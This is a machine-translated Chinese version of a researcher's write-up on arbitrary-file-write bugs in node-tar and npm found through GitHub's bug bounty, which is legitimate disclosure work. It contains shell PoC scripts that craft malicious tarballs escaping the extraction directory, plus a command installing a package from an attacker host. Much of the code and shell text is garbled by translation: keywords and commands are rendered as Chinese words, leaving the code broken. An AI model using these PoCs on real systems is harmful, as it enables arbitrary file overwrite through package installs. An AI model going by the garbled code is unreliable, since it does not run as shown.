15,000 美元的 npm 中的 5 个 RCE
原文链接:robertchen.cc/blog/2021/0…
我通过@ginkoid发现并报告了这些漏洞。
在这篇文章中,我将讨论这些漏洞的根本原因,并简要介绍利用过程。最后,我还将包含一些关于漏洞赏金的总体想法。
这些是相关的 CVE 和支出:
- CVE-2021-32804(10,000 美元)
- CVE-2021-32803(2,000 美元)
- CVE-2021-37701(2,500 美元)
- CVE-2021-37712(内部发现 - 1,000 美元代币支付)
- CVE-2021-37713(内部发现)
- CVE-2021-39134(待定)
CVE-2021-39134 影响@npmcli/arborist。其他影响node-tar。
背景
7 月中旬左右,GitHub 推出了一个专注于 npm CLI 的私人漏洞赏金计划。
我们注意到范围内一个有趣的项目:
- 在没有其他交互的情况下在安装或更新时中断的 RCE
--ignore-scripts
这似乎是一个相当大的攻击面。npm install负责从 npm 注册表中提取 tar 文件,组织依赖项,并可能运行安装脚本(尽管可能会被禁用--ignore-scripts)。
在接近任何目标之前,进行一些初步分析以查看攻击面通常是一个好主意。我们遇到了CVE-2019-16776,其中涉及对二进制字段的不正确路径检查。我们审核了相关代码,但没有发现任何内容。
我们需要更深入。
npm的包安装架构使用了多种自维护包。我们审计的一些更复杂的包括:
作为旁注,我们注意到 npm 的大部分底层包都是由少数作者维护的。
插入相关的 xkcd

我认为考虑到互联网基础设施的庞大性有点令人羞愧。每天,我们使用数百万行代码,我们认为这些代码是安全的。有了如此流行的依赖项——截至本文,node-tar每周下载量达到2500 万次——肯定有人检查过代码。
对?
(不)幸运的是,上一个问题的答案是否定的,或者我想我不会写这篇文章。
绝对
提供的安全保证之一node-tar是提取只能覆盖给定目录下的文件。如果提取可能覆盖全局文件,则恶意 tar 文件可能会覆盖系统上的任何文件。
例如,该npm install命令完全处理不受信任的 tarball。除了确保上传的 tarball 在语法上是有效的,几乎没有执行额外的清理。
请注意,在我们的报告之后,npm开始应用更严格的过滤器。
2021 年 7 月 29 日,我们开始阻止发布包含符号链接、硬链接或绝对路径的 npm 包。
包 tarball 提取也会发生--ignore-scripts,这使得它成为这个特定漏洞赏金计划的一个非常有趣的攻击面。
零
我们报告的第一个漏洞是 NPM cli 中的任意文件写入。看看你是否能发现漏洞。
// p = `entry.path` 是攻击者控制的
// posix 上的绝对值也是 win32 上的绝对值
// 所以我们只需要测试这个就可以得到两个
如果 (path.win32.isAbsolute(p)) {
const 解析 = path.win32.parse(p)
entry.path = p.substr(parsed.root.length)
const r = parsed.root
this.warn('TAR_ENTRY_INFO', `从绝对路径中剥离 ${r}`, {
入口,
路径:p,
})
}
// 使用 `entry.path` 进行文件操作
在审核 node-tar 时,此代码立即显得可疑。文件路径非常复杂,天真地使用子字符串会起作用吗?我们可以使用节点 cli 轻松确认任何假设。
> path.win32.parse("////tmp/pwned")
{ root: '/', dir: '///tmp', base: 'pwned', ext: '', name: 'pwned' }
嗯……这将设置parsed.root为/。剥离后,entry.path会变成//tmp/pwned. 这将解析为我们的绝对路径,绕过原始检查!
> path.resolve("//tmp/pwned")
'/tmp/pwned'
请注意,虽然 node-tar 没有执行明确的path.resolve,但我们怀疑 node 的文件操作 API 会在内部进行某种解析。我们可以通过查看节点的源代码,或者只是手动测试相关操作来确认这个假设fs。
> fs.existsSync("/tmp/pwned")
错误的
> fs.writeFileSync("//tmp/pwned", "notdeghost")
不明确的
> fs.existsSync("/tmp/pwned")
真的
现在,后者更容易(但我们稍后会回到节点源)。
这个漏洞允许我们在安装包时写入任何文件。
发布此注册表,我们可以发出PUT请求到registry.npmjs.org。
一个
对此的补丁非常全面。
// unix 绝对路径在 win32 上也是绝对路径,所以我们对两者都使用这个
const { isAbsolute, parse } = require('path').win32
// 返回 [root, 剥离]
module.exports = 路径 => {
让 r = ''
而(isAbsolute(路径)){
// windows 会认为 //x/y/z 有一个 //x/y/ 的“根”
const root = path.charAt(0) === '/' ? '/' : 解析(路径).root
path = path.substr(root.length)
r += 根
}
返回 [r, 路径]
}
绝对路径检查被重构为一个单独的文件。请注意while (isAbsolute(path))提供了path永远不会的严格保证isAbsolute。
差异 --git a/lib/unpack.js b/lib/unpack.js
索引 7d4b79d..216fa71 100644
--- a/lib/unpack.js
+++ b/lib/unpack.js
@@ -14,6 +14,7 @@ const path = require('path')
const mkdir = require('./mkdir.js')
const wc = require('./winchars.js')
const pathReservations = require('./path-reservations.js')
+const stripAbsolutePath = require('./strip-absolute-path.js')
const ONENTRY = Symbol('onEntry')
const CHECKFS = Symbol('checkFs')
@@ -224,11 +225,10 @@ class Unpack extends Parser {
// posix 上的绝对值也是 win32 上的绝对值
// 所以我们只需要测试这个就可以得到两个
- 如果 (path.win32.isAbsolute(p)) {
- const 解析 = path.win32.parse(p)
- entry.path = p.substr(parsed.root.length)
- const r = parsed.root
- this.warn('TAR_ENTRY_INFO', `从绝对路径中剥离 ${r}`, {
+ const [根,剥离] = stripAbsolutePath(p)
+ 如果(根){
+ entry.path = 剥离
+ this.warn('TAR_ENTRY_INFO', `从绝对路径中剥离 ${root}`, {
入口,
路径:p,
})
然后将此“从不绝对”路径分配给entry.path. 这肯定是安全的吧?
请注意,带有双点的路径也被过滤掉了,所以我们不能只用像../../overwrite.
if (p.match(/(^|\/|\\)\.\.(\\|\/|$)/)) {
this.warn('TAR_ENTRY_ERROR', `path contains '..'`, {
入口,
路径:p,
})
返回假
}
另一个有趣的思想实验:
// entry.path 是攻击者控制的,但不能是 `isAbsolute`。
entry.absolute = path.resolve(this.cwd, entry.path)
// 用 entry.path 做文件操作
我们可以假设原始entry.path路径不是绝对路径。因此,我们基本上可以忽略函数的影响,stripAbsolutePath只考虑非绝对路径。
通常,在查找漏洞时,将问题简化为等效但更简单的问题通常会有所帮助。
什么是绝对路径?以 开头的路径/似乎是绝对的,但是否存在任何边缘情况?
> path.win32.isAbsolute("/")
真的
> path.win32.isAbsolute("///")
真的
> path.win32.isAbsolute("C:/")
真的
当我们面临这些依赖于实现的问题时(甚至有文件系统的规范吗?),最好的选择是回到源代码.
请注意,对于此处定义的,posix 和 windows 有两种不同的实现。因为使用,我们希望确保我们正在查看 Windows 版本。isAbsolute node-tar``path.win32
功能是PathSeparator(代码){
返回码 === CHAR_FORWARD_SLASH || 代码 === CHAR_BACKWARD_SLASH;
}
功能是WindowsDeviceRoot(代码){
return (code >= CHAR_UPPERCASE_A && code <= CHAR_UPPERCASE_Z) ||
(代码 >= CHAR_LOWERCASE_A && 代码 <= CHAR_LOWERCASE_Z);
}
// ...
/**
* @param {string} 路径
* @returns {布尔}
*/
是绝对(路径){
验证字符串(路径,'路径');
const len = path.length;
如果 (len === 0)
返回假;
const code = StringPrototypeCharCodeAt(path, 0);
返回 isPathSeparator(code) ||
// 可能的设备根
(len > 2 &&
isWindowsDeviceRoot(code) &&
StringPrototypeCharCodeAt(path, 1) === CHAR_COLON &&
isPathSeparator(StringPrototypeCharCodeAt(path, 2)));
},
这证实了我们的猜想。绝对路径有两种情况。首先,路径必须以开始/一个\。或者,路径必须看起来像驱动器根目录,例如c:/ or C:\。
那做什么path.resolve呢?我们可以再次查看源代码,但该函数有 148 行。在我们的实际分析过程中,我花了相当多的时间试图了解源代码 - printf 调试在这里节省了一天。出于这篇博文的目的,我将跳到“作弊代码”。
const resolveTests = [
[路径.win32.resolve,
// 参数结果
[[['c:/blah\\blah', 'd:/games', 'c:../a'], 'c:\\blah\\a'],
这里发生了什么?对表单的路径有特殊处理C:${PATH}吗?
> path.resolve('C:/example/dir', 'C:../a')
'C:\\示例\\a'
> path.resolve('C:/example/dir', 'D:不同/root')
'D:\\不同的\\root'
看来是这样。这是我们的旁路!
请注意,即使双点被过滤掉,正则表达式也只匹配路径分隔符和传递的字符串的开始/结束之间的双点C:../。
不幸的是,我们在这里得到的原语并不是最好的——我们只能写入向上一个目录的路径。因为提取发生在一个node_modules目录中,所以我们只能写入其他已安装的包,它没有提供直接的升级路径。
我们探索的一个想法是写入符号链接包。例如,我们创建了一个AAAA符号链接到/path/to/. 然后我们提取到C:../AAAA/overwrite. 这在理论上会覆盖/path/to/overwrite。
这种利用策略涉及竞争条件并且不是很可靠。
我们通过概念验证报告了这个漏洞,但不幸的是它已经被GitHub 的安全团队成员发现了。
缓存
像许多 tar 实现一样,node-tar 允许提取符号链接和硬链接。
案例“链接”:
返回这个[HARDLINK](输入,完成)
案例“符号链接”:
返回这个[SYMLINK](输入,完成)
为了防止覆盖文件系统上的任意文件,node-tar将检查以确保它迭代的文件夹不是符号链接。否则,您可以使用符号链接来遍历文件系统。例如,创建一个符号链接symlink->/path/to并将文件解压缩到symlink/overwrite.
有趣的是,当为任何给定路径创建所需的父目录时,此检查是在 mkdir.js 中完成的。
} else if (st.isSymbolicLink())
返回 cb(new SymlinkError(part, part + '/' + parts.join('/')))
node-tar还维护已创建的目录缓存作为性能优化。这具有跳过对目录缓存中存在的文件夹的符号链接检查的重要含义。
if (cache && cache.get(dir) === true)
返回完成()
换句话说,安全性node-tar取决于目录缓存的准确性。如果我们可以伪造一个条目或以其他方式使缓存不同步,我们可以通过符号链接提取并写入文件系统上的任意文件。
不幸的是,这些漏洞不会影响 npm cli,因为 npm 的提取明确地过滤掉了符号链接和硬链接。
过滤器:(名称,条目)=> {
如果 (/Link$/.test(entry.type))
返回假
零
最初,目录缓存在删除文件夹时不会清除条目。这使得绕过非常容易。
对于我们的概念证明,我们使用了三个文件:
- 目录
poison - 符号链接
poison->/target/path - 文件
poison/overwrite
此有效负载可以从 bash 脚本生成:
#!/bin/sh
目录
焦油 cf poc.tar x
目录
ln -s /tmp x
echo '在 node-tar 中写入任意文件' > x/pwned
tar rf poc.tar xx/pwned
rm x/pwned x
这是有效的,因为在报告时,符号链接步骤将隐式删除它遇到的任何文件夹或文件,如果该文件已经存在。请注意代码如何不更新目录缓存。
} 别的
fs.rmdir(entry.absolute, er => this[MAKEFS](er, entry, done))
} 别的
unlinkFile(entry.absolute, er => this[MAKEFS](er, entry, done))
测试这也很简单。
$ npm i tar@6.1.1
$ node -e 'require("tar").x({ file: "poc.tar" })'
$猫/tmp/pwned
在 node-tar 中写入任意文件
一个
对此的解决方案可能是直观的,从目录缓存中删除该条目。
提交 9dbdeb6df8e9dbd96fa9e84341b9d74734be6c20
作者:isaacs <i@izs.me>
日期:2021 年 7 月 26 日星期一 16:10:30 -0700
当不再是 dirs 时从 dirCache 中删除路径
此补丁将以下代码添加到lib/unpack.js.
// 如果我们没有创建目录,并且路径在 dirCache 中,
// 那么这意味着我们将要删除我们创建的目录
// 以前,它不再是目录,也不再是目录
// 是它的任何一个孩子。
if (entry.type !== '目录') {
for (this.dirCache.keys() 的常量路径) {
if (path === entry.absolute ||
path.indexOf(entry.absolute + '/') === 0 ||
path.indexOf(entry.absolute + '\\') === 0)
this.dirCache.delete(路径)
}
}
注意如何理论,path.indexOf(entry.absolute + '/')并且path.indexOf(entry.absolute + '\\')将清除哪些有我们目前的道路作为前缀的所有条目。
为什么我们有两个检查斜杠和反斜杠?这不应该以当前环境为条件——即如果是 Windows 则使用反斜杠,如果不是,则使用斜杠。
事实证明,原始测试用例实际上仍然可以在 Windows 上运行。要了解原因,我们需要查看目录缓存条目是如何填充的。
const sub = path.relative(cwd, dir)
const 部分 = sub.split(/\/|\\/)
让创建 = null
for (let p = parts.shift(), part = cwd;
p && (部分 += '/' + p);
p = part.shift()) {
如果(缓存.get(部分))
继续
尝试 {
fs.mkdirSync(部分,模式)
创建 = 创建 || 部分
cache.set(部分,真)
}赶上(呃){
看起来路径在反斜杠和正斜杠上都被分开了。然后,条目在插入目录缓存之前用正斜杠连接。
例如:
- 目录缓存:
C:\abc\test-unpack/x entry.absolute:C:\abc\test-unpack\x
当我们创建目录时,...\test-unpack/x会被插入到目录缓存中。当我们尝试删除文件夹时,entry.absolute将是...\test-unpack\x.
这意味着永远不会满足以下检查。
if (path === entry.absolute ||
path.indexOf(entry.absolute + '/') === 0 ||
path.indexOf(entry.absolute + '\\') === 0)
我们将检查...\test-unpack\x, ...\test-unpack\x/, 和...\test-unpack\x\,没有一个匹配...\test-unpack/x。
因此,我们可以在不从目录缓存中清除相应条目的情况下删除文件夹。然后当我们通过符号链接提取时,它将使用正斜杠重新规范化路径,从而提前中止并跳过安全检查。
Unix 上存在一个不同的问题,但具有相同的根本原因。
如果我们创建一个带有 name 的路径,a\\x将对实际文件执行安全检查a,a/x而不是对实际文件执行a\\x。因此,如果我们使用包含反斜杠的文件名创建符号链接,我们将能够再次绕过目录缓存保护!
#!/bin/sh
ln -s /tmp a\\x
tar cf poc.tar a\\x
echo '在 node-tar 中写入任意文件' > a\\x/pwned
tar rf poc.tar a\\xa\\x/pwned
rm a\\x
两个
对此的补丁感觉非常“深度防御”。
提交 53602669f58ddbeb3294d7196b3320aaaed22728
作者:isaacs <i@izs.me>
日期:2021 年 8 月 4 日星期三 15:48:21 -0700
修复:在 Windows 系统上规范化路径
此更改使用 / 作为 One True Path 分隔符,作为 POSIX 之神
意在他们神圣的智慧。
在 Windows 上,\ 字符被转换为 /,无处不在,深入。
但是,在 posix 系统上,\ 是有效的文件名字符,而不是
特殊对待。所以,我们现在可以不用在 `/[/\\]/` 上拆分
只需拆分`'/'`以获得一组路径部分。
这确实意味着包含 \ 条目的档案将提取
在 Windows 系统上与在正确的系统上不同。然而,这
也是 bsdtar 和 gnutar 的行为,所以似乎合适
效仿。
此外,dirCache 修剪现在不区分大小写。在
区分大小写的系统,这可能会导致一些额外的 lstat
调用。但是,在不区分大小写的系统上,它可以防止错误的
缓存命中。
所有目录缓存操作都通过辅助函数路由,这些函数对条目进行规范化。
const cGet = (cache, key) => cache.get(normPath(key))
const cSet = (cache, key, val) => cache.set(normPath(key), val)
缓存移除也被重构到一个集中的地方。
const pruneCache = (cache, abs) => {
// 如果是不区分大小写的匹配,则清除缓存,因为我们不能
// 知道当前文件系统是否区分大小写。
abs = normPath(abs).toLowerCase()
for (cache.keys() 的常量路径) {
const plower = path.toLowerCase()
if (plower === abs || plower.toLowerCase().indexOf(abs + '/') === 0)
缓存删除(路径)
}
}
请注意,这也处理不区分大小写的文件系统,例如 Windows 和 MacOS。
这应该够了吧?
不完全的。NFD 标准化可以节省(破坏?)这一天。
事实证明,MacOS 对路径进行了额外的规范化,违反了目录缓存的假设。
> fs.readdirSync(".")
[]
> fs.writeFileSync("\u00e9", "AAAA")
不明确的
> fs.readdirSync(".")
['é']
> fs.unlinkSync("\u0065\u0301")
不明确的
> fs.readdirSync(".")
[]
在这一点上,利用策略应该非常简单。我们创建一个名为 的文件夹\u00e9,一个名为的符号链接\u0065\u0301(也删除了第一个文件夹),最后写入\u00e9/pwned.
因为只\u00e9存在于目录缓存中而不存在于 ,目录缓存与文件系统不\u0065\u0301同步,允许我们跳过符号链接安全检查。
不幸的是,这也已经被GitHub 的安全团队成员在内部发现了,但它仍然是一个相当有趣的漏洞。作为旁注,JarLob 的发现还涉及我们没有考虑过的“长路径部分”。
鳍
我们报告了一系列涉及目录缓存的三个漏洞。总的来说,我们觉得目录缓存很难维护。与文件系统的任何不一致都会导致任意写入漏洞。文件系统非常复杂,具有令人讨厌的边缘情况来支持所有系统。
最后,当遇到符号链接时,决定删除整个目录缓存。事后看来,这可能是最好的解决方案。
提交 23312ce7db8a12c78d0fba96d7664a01619266a3
作者:isaacs <i@izs.me>
日期:2021 年 8 月 18 日星期三 19:34:33 -0700
为所有平台上的符号链接删除 dirCache
差异 --git a/lib/unpack.js b/lib/unpack.js
索引 b889f4f..7f397f1 100644
--- a/lib/unpack.js
+++ b/lib/unpack.js
@@ -550,13 +550,13 @@ class Unpack extends Parser {
// 那么这意味着我们将要删除我们创建的目录
// 以前,它不再是目录,也不再是目录
// 是它的任何一个孩子。
- // 如果在 Windows 上遇到符号链接,则所有赌注都将关闭。
- // 没有合理的方法以这种方式清理缓存
- // 我们将能够避免文件系统冲突。如果这
- // 发生在非符号链接条目中,它只是无法解压,
- // 但是指向目录的符号链接,使用 8.3 短名称,可以逃避
- // 检测并导致任意写入系统上的任何地方。
- if (isWindows && entry.type === 'SymbolicLink')
+ // 如果遇到符号链接,则所有赌注都将关闭。没有
+ // 以这样的方式清理缓存的合理方法,我们将能够
+ // 避免文件系统冲突。如果这种情况发生在非符号链接上
+ // 条目,它只是无法解压,而是指向目录的符号链接,使用
+ // 8.3 短名称或某些 unicode 攻击,可以逃避检测和引导
+ // 任意写入系统上的任何地方。
+ if (entry.type === 'SymbolicLink')
dropCache(this.dirCache)
额外的想法
我认为这些报告说明了一些关于漏洞赏金的有趣含义,我想花一些时间来写下我的想法。本节不会有任何安全性分析,所以如果你有这种倾向,也许可以直接跳到结论部分。
同样作为免责声明,这些想法是基于我作为漏洞赏金计划参与者的 - 有点有限 - 的经验。话虽如此,GitHub 的赏金计划是我们攻击过的最好的计划之一,我将说明他们的一些做法如何帮助使其成为一个如此有趣的计划。
不对称
也许最重要的是,漏洞赏金报告者和内部红队之间存在固有的不对称性,这(在某些情况下)有利于内部团队。
我认为这的根本原因是——漏洞赏金参与者应该在报告之前完全或几乎完全暗示他们的漏洞。与此同时,他们不能太久地坚持自己的弱点。
很难平衡这两者。
在CVE-2021-37713 中可以找到一个示例。实际上,我在去 Defcon 的飞机上发现了这个漏洞(当时我开玩笑说我已经支付了飞行费用)。另一方面,我们在 8 月 13 日,也就是一个多星期后报告了这个漏洞。
这个延迟报告的原因是因为我们想要一种从非常低的隐含相对路径覆盖升级到实际 RCE 的方法。我们怀疑滥用符号链接和其他节点特定行为是可能的,但需要一段时间才能获得概念证明工作。
不对称的另一个例子是我们不知道是否存在安全隐患的可疑行为。这可能不是最好的例子,因为我怀疑这里没有真正的含义,但我们知道路径保留系统不正确地处理了区分大小写的文件系统(尽管我认为通过变体分析找到这相对微不足道)。
我们实际上无法报告这一点,因为我们没有发现任何安全隐患——如果存在的话,那将是非常危险的。
我认为这些不对称是漏洞赏金所固有的。与此同时,我觉得项目管理员意识到这些偏见很重要,如果可能的话,对它们进行补偿。
我们收到的CVE-2021-37712 代币赏金就是一个很好的例子。尽管这个漏洞已经在内部发现了,但 GitHub 还是给了我们 1,000 美元。这有助于抵消我们花费在调查和制作完整 POC 上的时间。也许更重要的是,这样的代币赏金表明 GitHub 关心我们参与他们的程序。
平衡
人们为什么要进行漏洞赏金?
为了保护软件?还是钱?世界永远不可能被绝对地描述。我想真正的答案是两者的某种混合,人们在这个范围内处于不同的位置。
也许用一个例子可以更好地说明这一点。
我们注意到范围中的另一个有趣的条目。
- 如果尚未设置,则覆盖已存在的具有全局安装包的可执行文件
--force
在与 GitHub 工作人员进行了一些通信后,我们确认这就是漏洞范围的定义方式:
$ npm i -g 纱线
$ npm i -g 攻击者包
$ yarn # 如果我们控制了 yarn,这是一个漏洞
事实证明,这可以通过从 URL 安装来轻松实现。
$ sudo npm i -g https://attacker.com/package.tar.gz
但是,根据我们的参与文档,这也被标记为“低”影响项目,我们认为这可能不是一个严重的问题。这似乎是设计使然,而且这种错误的用例似乎非常狭窄。
最后我们选择不举报。
报告是对存在漏洞的肯定。作为漏洞赏金猎人,我们不想发送具有低影响伪漏洞的垃圾邮件程序。在只报告真正有影响力的问题和试图简单地最大化赏金之间通常存在平衡。
我认为这也说明了在创建私人漏洞赏金计划时明确定义范围项目的重要性。总是有歧义的余地,并且有额外的交流方式——例如,有一个私有的 GitHub 赏金计划 Slack——对于消除任何混淆至关重要。
结论
总的来说,这次参与非常愉快。我们必须审计节点和 npm 内部的部分,我 - 我相信许多其他人 - 认为这些部分是安全的。
每天,我们运行无数行代码,但从不考虑谁负责审核它们。绝对安全可能吗?
复杂性滋生脆弱性;优化需要补偿。